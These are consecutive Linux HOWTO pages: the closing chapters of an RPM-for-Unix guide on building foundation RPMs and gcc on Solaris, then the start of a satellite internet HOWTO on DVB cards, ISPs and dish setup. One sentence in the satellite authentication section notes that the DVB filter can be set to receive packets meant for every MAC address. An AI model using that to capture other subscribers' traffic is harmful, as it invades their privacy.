6.1 Bootstrap Programs - The Rocket Soars Up!!

Before building rpms you need the following basic programs:

  • install program from fileutils*.tar.gz
  • patch*.tar.gz
  • autoconf*.tar.gz
  • automake*.tar.gz
  • libtool*.tar.gz
  • gcc*.tar.gz
You should download the tar.gz files or Unix packages . I downloaded solaris packages for fileutils.pkg, patch.pkg, libtool.pkg, gcc and others. You should install them in a temporary location like $HOME/localtmp
bash# mkdir $HOME/localtmp
bash# cd $HOME/localtmp
bash# gzip -d libtool*.tar.gz
bash# tar -xvf libtool*.tar
bash# ./configure --with-prefix=$HOME/localtmp
bash# make; make install
You should include the temporary location of autoconf by:
bash# PATH=$HOME/localtmp/bin:$PATH
bash# export PATH

6.2 Install Foundation RPMs

There are few basic rpms which must be installed before any other rpm is installed. In this section, foundation rpms are listed which are found by using:

bash# rpm -qR <packagename>
bash# rpm -qR textinfo
bash# rpm -qR fileutils
bash# rpm -qR setup

The foundation rpms in the order of dependency are as follows:

  • fileutils*.rpm
  • grep*.rpm (You may have to edit grep.spec and commentout --without-included-regex)
  • gawk*.rpm
  • sed*.rpm
  • texinfo*.rpm
  • zlib*.rpm and zlib-devel
  • patch*.rpm
  • setup*.rpm
  • filesystem*.rpm (You may not want install this if it effects /proc directory)
  • textutils*.rpm
  • glibc-common*.rpm
  • basesystem*.rpm
  • mktemp*.rpm
  • bash*.rpm
  • m4*.rpm (autoconf needs this)
  • autoconf
  • bison
  • binutils >= 2.9.1.0.25
  • gas, as, ld which are in binutils
  • shutils - for 'id' command

Second stage foundation rpms are as follows. After installing the foundation rpms, next important rpm is gcc, the order of rpms you need is:

  • glibc*.rpm
  • binutils*.rpm
  • kernel-headers*.rpm
  • glibc-devel*.rpm
  • gcc*.rpm

Third stage rpms are as follows:

  • popt*.rpm
  • rpm*.rpm
  • perl*.rpm
  • And many others....

As from previous section you should have exported temp location of autoconf, gcc and other programs by:

bash# PATH=$HOME/localtmp/bin:$PATH
bash# export PATH

bash# rpm -i fileutils*.src.rpm
bash# rpm -i zlib*.src.rpm
bash# rpm -i texinfo*.src.rpm

bash# cd /usr/local/src/redhat/SPECS
bash# rpm -ba fileutils.spec

After the build is successful, install it with "nodeps and excludedocs" to minimize the failures. After substantial installations of many foundation rpms you can "freshen" the rpms with rpm command.

bash# cd /usr/local/src/redhat/RPMS/sparc64
bash# rpm -i --nodeps --excludedocs fileutils*.rpm
Move on to build and install the next rpm in the list texinfo, zlib, patch,....

6.3 Troubleshoot Building Foundation RPMs

On Solaris 2.8, I encountered following problems which were fixed by correcting the spec file:

  • texinfo*.rpm: Edit the file texinfo.spec and change __spec_install_post, %build and %install sections:
    %define Rpmpath /usr/local
%define __spec_install_post %{Rpmpath}/lib/rpm/brp-strip \; %{Rpmpath}/lib/rpm/brp-strip-comment-note \; rm -f

%build
%define _mandir %{_prefix}/share/man
%define _infodir %{_prefix}/share/info
%configure

%install
#mkdir -p ${RPM_BUILD_ROOT}/{etc,sbin}        .....this line is causing problems
mkdir -p ${RPM_BUILD_ROOT}/etc
mkdir -p ${RPM_BUILD_ROOT}/sbin

  • textutils*.rpm: Create a new unix group called 'other'. Type 'groupadd other' and see 'man groupadd'. Second problem - edit textutils.spec file and in %files section replace hard-coded filenames/pathnames with %{_prefix}.
    %files
# replace below line
#/usr/bin/*
# with the line given below
%{_prefix}/bin/*

  • patch*.rpm: Edit patch.spec file and in %files section replace hard-coded filenames/pathnames with %{_prefix}.
    %files
# replace below line
#/usr/bin/*
# with the line given below
%{_prefix}/bin/*

  • gawk*.rpm: Edit gawk.spec file and in %files section and %install section replace hard-coded filenames/pathnames like /usr/something with %{_prefix}/something.

  • m4*.rpm: Edit m4.spec file and in %build section, the configure takes only --prefix and --exec-prefix. Also comment out autoconf.


RPM-for-Unix HOW-TO: Create gcc RPM Package

 Next Previous Contents

7. Create gcc RPM Package

The GNU gcc rpm is the most important rpm package which you should create after successfully creating rpm of RPM package. In order to create GNU gcc rpm package, you need to install rpms, unix pkgs or manual configure and install the following (given in order of dependency) :

  • texinfo
  • patch
  • zlib and zlib-devel
  • fileutils >= 4.0.41
  • m4 >= 1.1 (autoconf needs this)
  • autoconf
  • bison
  • binutils >= 2.9.1.0.25
  • gas, as, ld which are in binutils
  • cpp - manual install gcc
  • gawk
  • shutils - for 'id' command
  • pthreads - Posix threads library
You should download the tar.gz files or Unix packages . I downloaded solaris packages for texinfo.pkd, fileutils.pkg, patch.pkg, libtool.pkg, gcc and others. If you download tar.gz source file then you should install them in a temporary location like $HOME/localtmp
bash# mkdir $HOME/localtmp
bash# cd $HOME/localtmp
bash# gzip -d libtool*.tar.gz
bash# tar -xvf libtool*.tar
bash# ./configure --with-prefix=$HOME/localtmp
bash# make; make install
You should include the temporary location of autoconf by:
bash# PATH=$HOME/localtmp/bin:$PATH
bash# export PATH

Now you are ready to build gcc rpm:

bash# rpm -i gcc*.src.rpm
bash# cd /usr/local/src/redhat/SPECS
bash# rpm -ba gcc*.spec
On Solaris 2.8 I had to make few changes to gcc*.spec file:
  1. In %build section : Insert --enable-hacker-mode option for configure command. This is to correct error - "This configuration not supported in solaris 2.8". If --enable-hacker-mode option does not work then you may have to comment out gcc_targetplatform within the code %ifarch sparc .... %endif, just before the configure command.

  2. In %build section : For the configure command comment out %{_target_platform}, if configure fails.

  3. In %install section: Comment out numprocs = $(getconf _NPROCESSORS) and put numprocs=1. Since my box had 2 cpus I put numprocs=2. The solaris has /usr/bin/getconf which is different from GNU getconf in glibc.
Setup shared lib in solaris:

solaris# cd /var/ld
solaris# man ld.so.1
solaris# man crle
solaris# crle  < hit return to see config info>
solaris# crle /usr/lib:/usr/local/lib:/usr/local/pgsql/lib:/usr/local/BerkeleyDB.3.1/lib

7.1 Solaris Sparc gcc, glibc, kernel-headers and binutils

You can download the source code rpm for sparc from sparc-gcc or go to http://www.rpmfind.net and type sparc in the search field. You can also download sparc-glibc, sparc-kernel-headers and sparc-binutils source rpms.

solaris# rpm -i sparc-gcc*.src.rpm
solaris# cd /usr/local/src/redhat/SPECS
solaris# rpm -ba sparc-gcc.spec
You may want to edit sparc-binutils.spec and in %install section: Comment out numprocs = $(getconf _NPROCESSORS) and put numprocs=1. Since my box had 2 cpus I put numprocs=2. The solaris has /usr/bin/getconf which is different from GNU getconf in glibc. Also change %files section change %doc /usr/man/man1/sparc-linux-ld.1.gz to %doc /usr/man/man1/sparc-linux-ld.1.

7.2 PowerPC gcc, glibc, kernel-headers and binutils

The PowerPC arch rpms are at http://penguinppc.org.

7.3 Create glibc RPM

If configure complains that your platform is not supported, then you may want to edit glibc.spec file and in %configure section put --enable-hacker-mode,

For Solaris there is ready-made sparc-glibc*.src.rpm from sparc-gcc or go to http://www.rpmfind.net and type sparc in the search field.

The glibc needs the sparc-kernel-headers*.rpm which you can get from sparc-gcc.


RPM-for-Unix HOW-TO: Use Debian Packages - Convert deb to rpm

 Next Previous Contents

8. Use Debian Packages - Convert deb to rpm

Debian Linux is another popular distribution. You can use the debian packages for Sparc, PowerPC, m68k, MIPS, Alpha, Arm, Intel X86 or Itanium.

8.1 Debian Packing Program

To build real debs that contain software, you'll need: binutils, cpp, cpio, dpkg-dev, file, gcc, libc6-dev, make, patch, perl dh-make, debhelper, devscripts, fakeroot and lintian . If your package needs to prompt the user for configuration information when it installs, get debconf .

The main debian programs you need to get are:

  • dpkg-dev : This package contains the tools needed to create Debian archives. It also contains the Debian Programmers and Policy manuals.

  • debmake : This is a higher level set of tools for creating Debian packages. It makes the whole process tremendously easier.

  • debhelper : A collection of programs that can be used in a debian/rules file to automate common tasks related to building debian packages. Programs are included to install various files into your package, compress files, fix file permissions, integrate your package with the debian menu system, suidmanager, doc-base, etc. Most debian packages use debhelper as part of their build process.

  • debconf : Debconf is a configuration management system for debian packages. Packages use Debconf to ask questions when they are installed.

  • apt-howto : A Guide to APT. This manual tries to be a quick but complete source of information about the APT system and its features. It documents the main uses of APT with many examples. (You may want to edit apt-howto*.sgml and change debiandoc to linuxdoc and run sgml2html).

Get these from http://www.debian.org/distrib/packages, go here and type in the search box dpkg-dev or apt-howto and select Stable, Testing or Unstable in the distribution. Download and build on your Unix system (Solaris, AIX, HPUX).

See Debian Package Management , Debian Policy Manual, Debian New Maintainer's Guide and apt+rpm howto.

8.2 Debian to Redhat RPM

To install Debian packages on Sun Solaris 2.8 (Sparc/Ultra-sparc) I downloaded all the debian packages for sparc from http://www.debian.org. Go here and click on distribution->sparc. Better still, purchase the Debian binary and source cdrom for Sparc (or for PowerPC, Alpha). Use alien program to convert the debian packages to redhat rpm.

Get alien program from http://www.rpmfind.net.

solaris# rpm -i alien*.src.rpm
solaris# rpm -ba alien.spec
solaris# rpm -i alien.sparc.rpm
solaris# alien -r glibc*.deb     (..... this will create the rpm file)
solaris# rpm -i glibc-sparc*.rpm
Convert all debian binary packages to rpm and install on Solaris 2.8 OS.

Note alien program works only for binary debian packages.


RPM-for-Unix HOW-TO: Convert RPM to Solaris Package rpm2pkg

 Next Previous Contents

9. Convert RPM to Solaris Package rpm2pkg

After building and installing all the RPMs on Solaris (or any Unix), you can convert those programs to Solaris (or any Unix) packages.

To convert Redhat rpm to Solaris package do:

bash# mkdir -p  $HOME/tmp/myprogram-1.4/usr/local
bash# cd $HOME/tmp/myprogram-1.4/usr/local
bash# rpm2cpio rpm-4.0.2-8.sparc64.rpm | cpio -dimv
bash# tar -xvf rpm*.tar.gz
bash# make_package

And run the perl script make_package given at http://www.sunfreeware.com/pkgadd.html


RPM-for-Unix HOW-TO: Related URLs

 Next Previous Contents

10. Related URLs

  • Main site of RPM http://www.rpm.org

  • Maximum RPM book http://www.rpmdp.org/rpmbook/node1.html

  • RPM HOWTO http://linuxdoc.org/HOWTO/RPM-HOWTO/index.html

  • RH manual - rpm

  • RPM Finder http://www.rpmfind.net

  • RPM related sofware http://rpm.org/software.html

  • RPM mailing lists http://rpm.org/mailing_list.html

  • Sparc, Sun Solaris, Ultra Sparc http://www.ultralinux.org

  • The PowerPC arch rpms are at http://penguinppc.org.

Linux goodies main site is at http://www.milkywaygalaxy.freeservers.com Mirror sites are at - http://aldev0.webjump.com, angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.


RPM-for-Unix HOW-TO: Other Formats of this Document

 Next Previous Contents

11. Other Formats of this Document

This document is published in 14 different formats namely: DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), and MS WinHelp format.

This howto document is located at:

  • http://www.linuxdoc.org and click on HOWTOs and search for the howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites:

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    A single HTML file can be created with the command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, and Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from: http://www.sgmltools.org Compiling the source you will get the following commands like:
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

11.1 Acrobat PDF format

A PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And a postscript file is generated from DVI which in turn is generated from a LaTex file. You can download distill software from http://www.adobe.com and from unix and from windows . Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use the Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

11.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has a lot more features than linuxdoc. The linuxdoc is very simple and easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some Perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl Perl script. You may need to manually correct a few lines in the document.

  • Download the ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy site
The ld2db.sh is not 100% clean, so you will get some errors when you run it.
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the Perl script. For example you may need to put closing tag < /Para> for each < Listitem>

11.3 Convert to MS WinHelp format

You can convert the SGML howto document to a Microsoft Windows Help file, First convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

11.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read a dvi document give the command:

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with the mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read a postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in the ghostscript*.rpm package and the gv program is in the gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT. You can view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read a postscript document give the command:

                gv howto.ps
                ghostscript howto.ps

You can read an HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX an X Window front end to LaTex.

11.5 Convert HTML to SGML html2sgml

To convert any HTML document to Linuxdoc SGML use the tool 'html2sgml' from http://www.abc.se/~m9339/prog/html2sgml.html.


RPM-for-Unix HOW-TO: Copyright

 Next Previous Contents

12. Copyright

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional restrictions are - you must retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you should intimate all the authors of this document.


Sat (Satellite Technology) HOWTO

Roberto Arcomano berto@fatamorgana.com, Florindo Santoro flosan@hack-it.net

v1.7, 17 December 2001

Sat technology is starting to become a great resource for Internet users, allowing high bandwidth in downloading and many other interesting services. This document wants to investigate "State of Art" of Sat connections in Linux environment, how to get them speeder and to share with many clients. You can found latest version of this document at http://www.fatamorgana.com/bertolinux and http://www.hack-it.net/How-To/Sat-HOWTO.html.

1. Introduction

  • 1.1 Introduction
  • 1.2 Copyright
  • 1.3 Translations
  • 1.4 Credits

2. Background Knowledge

  • 2.1 What about satellite
  • 2.2 How does it work?
  • 2.3 Other technologies
  • 2.4 What is the max bandwidth?
  • 2.5 How much does it cost?
  • 2.6 What are the satellites used?
  • 2.7 What ISPs give Sat Internet Access?
  • 2.8 What else?

3. Technical Information

  • 3.1 General working
  • 3.2 Frequencies
  • 3.3 DVB Receiver Card
  • 3.4 Data Link Level DVB setting
  • 3.5 TCP/IP working
  • 3.6 Authentication
  • 3.7 Services I can use with a sat connection

4. Requirements

  • 4.1 Knowledge requirement
  • 4.2 Hardware
  • 4.3 Software
  • 4.4 TV Software

5. Base setup

  • 5.1 First: mounting
  • 5.2 Calibrating
  • 5.3 Double Feed
  • 5.4 Data-link level adjusting

6. Configuration under Linux

  • 6.1 Drivers installation
  • 6.2 Setting up /etc/dvbd.conf
  • 6.3 Dvbd daemon
  • 6.4 How to config EON service
  • 6.5 How to use Netsystem service
  • 6.6 How to use Sat Node service
  • 6.7 OpenSky service under Linux

7. Configuration under Windows

  • 7.1 EON
  • 7.2 Netsystem
  • 7.3 OpenSky

8. Appendix A - Notes

  • 8.1 Translation Dynamic IP -> MAC Address
  • 8.2 TCP Window
  • 8.3 Download accelerator

9. Appendix B - Well Known Sat ISP setting value

  • 9.1 EuropeOnLine
  • 9.2 Netsystem
  • 9.3 Sat Node
  • 9.4 Open Sky

10. Links

  • 10.1 Open
  • 10.2 Commercial


Sat (Satellite Technology) HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Introduction

This document wants to explain something about Satellite technology, how it works, what do you need, configuration and how to sharing it between several clients. Satellite connections are very different from terrestrial ones, they require more attention to setup and also some more care to maintain them stable (snow or strong rain could prevent you to have a good signal).

Feedback are welcome, don't hesitate to contact us: berto@fatamorgana.com and flosan@hack-it.net.

1.2 Copyright

Copyright (C) 2000,2001 Roberto Arcomano, Florindo Santoro. This document is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This document is distributed in the hope that it will be useful, but

WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You can get a copy of the GNU GPL here

1.3 Translations

If you want to translate this document you are free, you only have to:

  1. Check that another version of it doesn't already exist at your local LDP
  2. Maintain all 'Introduction' section (including 'Introduction', 'Copyright', 'Translations', 'Credits').

Thank you for your translation!

1.4 Credits

Thanks to Fatamorgana Computers for hardware equipment and experimental opportunity.

Thanks to Linux Documentation Project for publishing and uploading my document in a very quickly fashion.

Thanks to Pierre Guiral and Andrei Boros for their help.


Sat (Satellite Technology) HOWTO: Background Knowledge

 Next Previous Contents

2. Background Knowledge

2.1 What about satellite

In the last few years satellite began to be applied in Internet networking, mainly by medium-big ISPs and we have seen it diffused between users. Sat connections are a very different kind of networking than terrestrial ones, with different timing such as higher RTT (round trip time), but also with different bandwidth value, up to 2 Mbps or more.

2.2 How does it work?

We can imagine a path like this:

              |||||| S A T E L L I T E  ||||||||
                   /                       /|\
Downl             /                         |      Uploading
load             /                          |      from
to              /(4)                        | (3)  server
client         /                            |
              /                             |
SatCard(parabolic antenna)                  |
             |                              |
            \|/                             |
       USER PC ----make request-----> SAT-SERVER <---retrieving---> INTERNET
                         (1)                               (2)

So first we make the request (1) (using our Internet connection) to the Sat-Server, after it will retrieve out info from Internet (2) and it will send it to Satellite (3); in the end we would receive data from the it (4) to our home using a parabolic antenna and a Sat Card.

Typically exist 2 kinds of request :

  • Http
  • Ftp

Both of them have a little request data and a much bigger answer size, so satellite works very well with it, but with a big time of answer, this is the biggest problem of satellite connection (consider a typical Sat distance, like 36.000 km, so you would have a time access of [ 36000 km / 300.000 km/s = 0.120 s = ] 120 ms you have to add (2 times, cause first ISPs server send it to, then you download it from) to classical Internet time access.

Recently ISP allows their clients to use also other kind of service, like

  • Chat
  • Email
  • News

and many others.

There exist also services called "one-way", which consist in mail service , download on-demand (where you make a file reservation to be scheduled at some time) and site download: these services are offline, so you can access to them without modem (or other kind of) connection.

2.3 Other technologies

We have to report another satellite technology: the 2-way sat connection. It uses only the parabolic antenna to contact Internet in both 2 directions. Its cost is much higher that 1-way connection. We expect something from it for immediate future, for now it allows a bandwidth of 4 Mbit/s in download and 256Kbit/s in upload.

2.4 What is the max bandwidth?

It depends on many factors: ISP purpose, TCP window used, applications used by the client and the more important of all, "Internet congestion".

You can expect a max bandwidth of 1-4 Mbps and a average of about 10-30 KBytes/s, but I repeat, it depends on many factors.

Anyway some ISPs tell you they give you a "Max" bandwidth, while the average bandwidth could be very lower, due to intra-ISP congestion.

Some other ISPs guarantees you to have a "Minimal" bandwidth, which is more meaningful than "MAX", cause it is available all the time.

Please see Appendix A for more about get downloading performance better.

2.5 How much does it cost?

We have to distinguish between hardware costs and account costs, the first are known, while the second depend on which service you choose ("guaranteed"/"not guaranteed", what bandwidth).

Hardware costs

To install our little satellite system we need:

  1. Sat card
  2. Parabolic antenna
  3. one or more feed (converter)

Noticed that we need a digital converter to use Internet via satellite.

Sat card costs depends on brand you choose, about 200US$-300US$.

Parabolic antenna is about 50 US$.

Converter is about 50US$.

So we have about 3-400 US$ of hardware cost (maybe you still have to add installation cost!!).

If you want also receiver Crypt service:

  1. CI is about 100 US$.
  2. CAM is about 100 US$-250 US$.

Account costs

Here costs depend on what ISPs give you access, what's peak bandwidth, if there is a guaranteed bandwidth (which is more important than peak one), what kind of service they give you and so on.

Also some ISP gives you free access in change of viewing an always foreground spot banner (you cannot iconize it!!): in this case you will pay when you'll go to buy something showed in banner!!

Typically account costs are about 100-150 US$ at year for "not guaranteed" services and 4-600 US$ or more for guaranteed ones (they guarantee you a minimal bandwidth you can use also under congestion moments, obviously intra Sat-ISP congestion!! When you go out to Internet nobody can guarantee you anything!!).

2.6 What are the satellites used?

When we speak about satellites we mean: Astra (19.2 degree SE), Hotbird (13.2 degree SE), new Europestar (45 degree SE), Eutelsat (8 degree SW), Astra (26E), ArabSat 3A (26E).

2.7 What ISPs give Sat Internet Access?

In Europe we know about 8 ISPs giving Sat access for Internet:

  1. EuropeOnLine - EON
  2. Netsystem
  3. Starspeeder
  4. Sat Node
  5. Eliosat
  6. Falcon Stream
  7. SkyDSL
  8. OpenSky
  9. DirecPC but this use a proprietary sat card (this is a first Sat ISP )
  10. http://www.xanticbroadband.com/

EON gives access for about 150 US$ at year without guaranteed bandwidth.

Netsystem offers its services at "null cost", you just have to see its banner.

Starspeeder gives access ???

Eliosat costs 350 US$ at year with a 128 Kbps guaranteed (minimal service, see web site for more);in addition it gives 2-way technology access for either receive and transmit.

SkyDSL gives access full-time and it costs about 15 US$ at month with 128Kbit/s bandwidth, but it allows a bigger bandwidth where you pay each Mb downloaded (you can select from 256Kbit/s up to 4Mbit/s), for more you can visit its web site.

IMPORTANT : before subscribing some satellite account, please verify "foot of Satellite" and diameter of parabola.

OpenSky started before summer 2001 in its "beta test": it allows you to try the sat service downloading at maximum 300 MB at month (free). To register you need to go at OpenSky registration procedure (which is in italian language!).

2.8 What else?

With every kind of DVB card you can also receive TV digital channels (free channels only) and some cards have support for common interface to watch encrypted channel.

Follows the schema:

Smart-Card -> CAM -> Common Interface -> Sat Card (with support C.I.)

CAM Card (there are many standards used for decryption: SECA, IRDETO, VIACCESS and others) is the hardware allowing decryption (for TV, Radio and Data) while the Common Interface or C.I. (ETSI EN 50221) allow connection between CAM and Sat Card.


Sat (Satellite Technology) HOWTO: Technical Information

 Next Previous Contents

3. Technical Information

3.1 General working

We now try to understand how satellite connection works and at what conditions.

We can imagine a satellite link as a classical Wireless link, I mean a link between 2 systems which don't use a real cable to talk each other.

Wireless link is very different from Wired link cause we have some additional problems to solve, such as reachability, privacy problems and so on. Also there could be weather problems, particularly in snow or rain conditions.

Anyway, we have to consider the first principle behind Wireless communication: line of sight free, which is a MUST unless we are unable to talk. For more you can see the Wireless-HOWTO.

In sat connections we use a special kind of antenna, a parabolic one, that gives us a very high gain in RX, needed to receive satellite signal: in fact satellite has a geostational orbital at 36.000 km and the only kind of antenna we can use for receiving is just a parabolic one.

3.2 Frequencies

Frequency we receive is from 11GHz up to 12.7 GHz (from the satellite transponder, the transmitter sending us datas), a very high freq., but the feed (converter in the center of the parabola) converts it to, in output, 1-2 GHz so that we'll able to send signal to the receiver through the cable (up to 40m depending to cable loss).

3.3 DVB Receiver Card

1 GHz Signal --> |RX|--> |ADC| --> |Low Level Network| --> |O.S. TCP/IP Stack|--> Data
                |____________________________________|
                                DVB Card

Now we can imagine a classical RX at 1 GHz receiving analog signals from the Sat, converting it to digital signals and giving all to the low level network layer (ISO OSI 1,2): here, card firmware builds a 2 level packet (pretty like ethernet) to be sent to our PC with Linux, Windows, or other system, and in the end, we will only have to transform it to a TCP/IP packet.

3.4 Data Link Level DVB setting

Here we have to config some settings, directly to the DVB card:

  1. Frequency working, we have to set the satellite frequency (as from magazines): it is between 11.8 GHz and 12.8 GHz for example 12640000 KHz
  2. Symbol rate, measured in symbols per seconds, typically 22 MS/s (Mega Symbols per seconds)
  3. Polarization, which is an antenna setting configurable in software: possible values are H (Horizontal) or V (Vertical).
  4. PIDs. The PID is used for select a trasmission between many signal from same frequency.
  5. Also we have to specify the bitfilter mask, which tells us how large is the destination MAC addresses group (bitfilter mask is similar to TCP/IP netmask, the only difference is that the bitfilter mask is 48 bit size while TCP/IP netmask is 32 bit size). Always Internet data is sent with Unicast PID, while Video always is sent using Multicast PID .
  6. Calculate MAC address: here we specify what will be our MAC address (for our DVB card). You need to do this cause some ISP uses an algorithm (see Appendix A for more) which calculates your MAC address from your IP address, some other ISP uses your own MAC address.

3.5 TCP/IP working

As we said in 2.2 section, first we have to make a request using the modem interface (i.e. ppp0 or whatever we use to reach Internet), then the answer will return to our DVB interface (dvb0).

Modern O.S. allow us to receive packets from an input interface, different from the output interface from where we made the request: to do it we have to "disable" some packets flow control, such as type an

echo "0" > /proc/sys/net/ipv4/conf/dvb0/rp_filter (for Linux).

3.6 Authentication

It remains only one thing to complete our description: authentication method.

Some Sat ISPs use the so called "Proxy Authentication": when you used their proxy, you also need to give login and password to continue the request (you should have been subscribed some kind of account to use their sat service): once done, the ISP use your IP address to calculate your MAC address (see Appendix A for more), to which send the answer.

Some other ISPs require you make a VPN connection (using your login and password) first, then they will control your registration account (where they retrieve your MAC address) and will send data directly to (and only to) your card (your MAC address).

Anyway noticed that you can modify your dvb sat filter value to be able to receive packets destined to EVERY mac address (related to a single frequency).

3.7 Services I can use with a sat connection

Typically services you can have from sat connections depend on what authentication system is used by ISP:

  • with classical "Proxy Authentication" you can only use HTTP and FTP service, while
  • with VPN connection you have (ideally) no limit to services you can use, the only limit is decided by RTT (time access) to satellite, about 500-1000 ms average: so you can forget to use "Voice" or other "Real Time" services!! (see VoIP-HOWTO for more). Anyway you still can use: mail, chat, telnet, ping, dns and so on.


Sat (Satellite Technology) HOWTO: Requirements

 Next Previous Contents

4. Requirements

Here we will see what we need to try a Sat system.

4.1 Knowledge requirement

For this trying you need some experience in internetworking under Linux (as from Net-HOWTO) and a very little of practical experience with parabolic antenna and sat systems (you should be able to pointing out your antenna, with right angles).

4.2 Hardware

We need:

  1. Parabolic antenna, also taken from an analog system.
  2. Digital converter to be placed in the middle of the antenna.
  3. Receiver card DVB compatible.
  4. a PC to connect to.

4.3 Software

Here you need a

  1. driver for the DVB card working under your O.S. (Linux, Windows or other).
  2. right setting to use it
  3. external application in some cases (such as VPN-PPTP client for ISP like Netsystem or Starspeeder).

For the software under Linux you can found the Siemens DVB driver at Linux TV Project.

4.4 TV Software

There is also some Video software used to implement TV reception:

Under Windows

  1. MultiDec MultiDec 6.6b (free with source code)
  2. TPREdit TPREdit (for Technotrend)
  3. WinTV DVBs Hauppauge or Technotrend(for Siemens compatible card, Hauppauge, Technotrend, Technisat, etc... )
  4. WinDVB2000 WinDVB2000 (about 19$).

Under Linux

  1. gVideo is an application included in Siemens driver
  2. Vdr Video Recoder (good for watch TV)


Sat (Satellite Technology) HOWTO: Base setup

 Next Previous Contents

5. Base setup

5.1 First: mounting

The first thing we have to do is to mount our parabolic antenna;

After we need to pointing it out (searching right degrees from some magazine): degrees are always intended from south to east or to west for horizontal one and from ground to satellite line for vertical one. Classical pointing tools is the compass.

5.2 Calibrating

How can we see if we are right oriented?

After decided a right range of angles, we have to adjust it measuring power level. For such a thing we can

  1. Use for example an analog receiver (which is compatible with digital converter) and start to search right degree: when we see some imagine we'll get it. I suggest to use analog converter cause, maybe, you have one (from precedent installation) and cause it is more simple to calibrate it than digital one.
  2. Use a power meter (about 20US$) with sequential lights: at full signal all lights turn up.

5.3 Double Feed

You can also install a double feed system (some vendors sell a complete kit with standard distance to receive, for example, Astra (19.2 SE) with Eutelsat (16 SE) or with HotBird (13 SE).

For mounting it you have to consider, in addition, that satellite is at the opposite side of the converter, like in figure:

              SAT1                 SAT2
                 \                 /
                  \               /
                   \   C1   C2   /
               \    \    \ /    /     /
                \    \   / \   /     /
                 \____\ /___\ /_____/

                      Top View

               C1 receives from SAT2
               C2 receives from SAT1

Also, with 2 focus, you would use a diseq.

5.4 Data-link level adjusting

Once we got analog signal we have to adjust our receiver to right frequency, PID, speed rate and so on.

I report here an example of configuration, for EON (EuropeOnLine), transponder 114 on Astra satellite (19.2 SE)

Frequency: 12640 MHz

Polarization: V (Vertical)

Symbol Rate: 22000 KS/s

PIDs:

  • Unicast: 512 (decimal), 0x200 (hexadecimal)
